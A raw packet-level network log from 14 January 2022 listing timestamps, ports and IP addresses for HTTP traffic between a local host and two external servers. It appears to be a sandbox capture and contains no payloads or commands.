Jan 14, 2022 02:05:23.063730955 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063771009 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063779116 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063807964 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063848019 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063853025 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063885927 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063925982 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.063931942 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.063965082 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064002991 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064012051 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064043045 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064083099 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064088106 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064120054 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064158916 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064168930 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064198017 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064239025 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064245939 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064279079 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064316988 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064330101 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064356089 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064395905 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064408064 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064433098 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064472914 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064480066 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064511061 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064552069 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064557076 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064590931 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064630032 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064640045 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064670086 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064709902 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064717054 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064748049 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064788103 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064793110 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064826012 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064866066 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064872980 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064905882 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064944983 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.064949989 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.064984083 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065023899 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065032959 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065064907 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065104008 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065109015 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065144062 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065185070 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065191031 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065224886 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065262079 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065274000 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065300941 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065340996 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065349102 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065377951 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065418005 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065427065 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065458059 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065498114 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065505028 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065537930 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065586090 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065599918 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065625906 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065669060 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065676928 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065706968 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065746069 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065753937 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.065785885 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.065831900 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.086010933 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136162043 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136204004 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136219978 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136234999 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136270046 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136287928 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136302948 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136318922 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136337042 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136353016 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136354923 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136368990 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136384964 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136394978 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136400938 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136400938 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136416912 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136431932 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136446953 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136450052 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136461020 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136466980 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136483908 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136499882 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136518955 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136534929 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136552095 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136565924 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136569977 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136585951 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136588097 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136605978 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136620998 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136624098 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136640072 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136657000 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136657953 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136676073 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136689901 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136694908 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136713028 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136727095 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136730909 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136748075 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136758089 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136775017 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136786938 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136804104 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136817932 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136821985 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136838913 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136848927 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136857033 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136862993 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136873960 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136893034 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.136905909 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.136954069 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.148823023 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156407118 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156424999 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156440973 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156457901 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156474113 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156481981 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156492949 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156507015 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156549931 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156584024 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156601906 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156626940 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156656027 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156663895 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156680107 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156697989 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156711102 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156743050 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156769037 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156788111 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156805038 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156821966 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156836987 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156838894 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156857014 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156877041 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156893969 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.156905890 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.156956911 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157005072 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157032013 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157048941 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157066107 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157084942 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157093048 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157114029 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157130003 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157130957 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157157898 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157171011 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157175064 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157217979 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157269955 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157286882 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157305002 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157322884 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157334089 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157371998 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157466888 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157493114 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157510042 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157526970 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157538891 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157543898 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157561064 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157572031 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157578945 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157610893 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157649040 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157665014 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157681942 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157697916 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157728910 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.157742023 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157758951 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.157802105 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207159042 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207186937 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207212925 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207232952 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207252026 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207253933 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207276106 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207298040 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207298040 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207317114 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207319975 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207341909 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207364082 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207362890 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207385063 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207406044 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207407951 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207427979 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207449913 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207465887 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207472086 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207493067 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207503080 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207515001 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207539082 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207551003 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207561016 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207581997 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207587957 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207606077 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207628012 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207628012 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207648993 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207672119 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207672119 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207695007 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207716942 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.207716942 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.207763910 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.219151020 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219180107 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219207048 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219233990 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.219233990 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219263077 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219285965 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.219290972 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219337940 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:23.219356060 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219377995 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:23.219423056 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:25.023164034 CET	49891	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.073590040 CET	80	49891	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.073723078 CET	49891	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.073879004 CET	49891	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.075805902 CET	49891	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.124010086 CET	80	49891	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.126141071 CET	80	49891	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.148411989 CET	80	49891	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.148457050 CET	80	49891	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.148535013 CET	49891	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.148719072 CET	49891	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.199163914 CET	80	49891	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.577981949 CET	49892	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.629904985 CET	80	49892	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.630007029 CET	49892	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.669143915 CET	49892	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.671827078 CET	49892	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.721338034 CET	80	49892	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.723798037 CET	80	49892	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.747284889 CET	80	49892	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:25.747391939 CET	49892	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.778256893 CET	49892	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:25.830311060 CET	80	49892	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:27.684577942 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.759517908 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.759618998 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.760727882 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.835592985 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.835908890 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.835928917 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.835947990 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.835993052 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.835994005 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.836009026 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.836025953 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.836039066 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.836044073 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.836060047 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.836066961 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.836098909 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.836107016 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.836117029 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.836162090 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.910931110 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.910959959 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.910978079 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.910994053 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911011934 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911027908 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911045074 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911052942 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.911062002 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911077976 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911094904 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911109924 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911123991 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.911124945 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911140919 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911155939 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911168098 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911181927 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911195040 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911207914 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911222935 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:27.911277056 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.911288023 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:27.916083097 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003317118 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003362894 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003397942 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003400087 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003434896 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003448963 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003470898 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003509045 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003519058 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003542900 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003577948 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003588915 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003612995 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003645897 CET	80	49895	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:28.003655910 CET	49895	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:28.003680944 CET	80	49895	141.8.194.74	192.168.2.3
